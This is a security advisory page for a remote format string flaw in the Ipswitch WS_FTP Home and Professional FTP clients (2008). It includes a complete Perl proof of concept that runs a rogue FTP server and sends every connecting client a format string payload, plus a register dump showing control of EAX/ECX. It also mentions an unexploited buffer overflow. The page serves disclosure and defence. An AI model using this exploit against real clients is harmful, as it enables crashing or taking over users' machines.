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Details : SecurityAlert

  Topic : WS_FTP Home/Professional FTP Client Remote Format String PoC
  SecurityAlert : 4173
  CVE : CVE-2008-3734
  CVE : CVE-2008-3795
  CWE : CWE-134
  CWE : CWE-119
  SecurityRisk : High  alert  (About)
  Remote Exploit : Yes
  Local Exploit : No
  Victim interaction required : No
  Exploit Given : No
  Credit : securfrog
  Published : 22.08.2008

  Affected Software : Ipswitch, Ws_ftp_home, 2007.0.0.2
Ipswitch, WS_FTP Pro, 2007.1.0.0



  Advisory Text :  

###########################################################################
#######################################
#
# Ipswitch WS_FTP Home/WS_FTP Professional FTP Client Remote Format String
vulnerability
# Vendor : http://www.ipswitch.com/
# Affected Os : Windows *
# Risk : critical
#
# This bug is pretty interresting in the way you have to exploit it in a
weird way...
#
# With this PoC you'll get a full control over EAX/ECX
# (
# eax=41414141 ebx=0000000a ecx=41414141 edx=00000000 esi=41414142
edi=02b1f0ab
# eip=77d3ef68 esp=02b1f01c ebp=02b1f064 iopl=0 nv up ei pl nz na
po nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00010206
# USER32!CharLowerA+0x93:
# 77d3ef68 8a10 mov dl,[eax]
ds:0023:41414141=??
# )
# Fake Server PoC :
use strict;
use Socket;

my $port = shift || 21;
my $proto = getprotobyname('tcp');
my $goodz = "\x41\x41\x41\x41\x41\x41\x41\x41%x%x%x%x%x%x%x%s";

my $visitor;
socket(SOCKET, PF_INET, SOCK_STREAM, $proto)
or die "To bad $!\n";
setsockopt(SOCKET, SOL_SOCKET, SO_REUSEADDR, 1);
bind(SOCKET, pack( "S n a4 x8", AF_INET, $port, "\0\0\0\0" ))
or die "Shitz port $port is allready in use, shut down your ftp server
!\n";
listen(SOCKET, 5) or die "Listen: $!";
print "Fake Server started on port $port\n";
while ($visitor = accept(NEW_SOCKET, SOCKET)) {
print NEW_SOCKET $goodz;
close NEW_SOCKET;
}

# Anyways, in the WS_FTP Home client there's still a buffer overflow in the
FTP server message response ( 4100 chars answer --> done ).



  References :

http://xforce.iss.net/xforce/xfdb/44512
http://www.securityfocus.com/bid/30720
http://www.milw0rm.com/exploits/6257
http://secunia.com/advisories/31504



  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
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Microsoft VISTA TCP/IP stack buffer overflow

high- 2008-11-27

Microsoft Device IO Control wrapped by the iphlpapi.dll API shipping with Windows Vista 32 bit and 64 bit contains a possibly exploitable, buffer overflow corrupting kernel memory.

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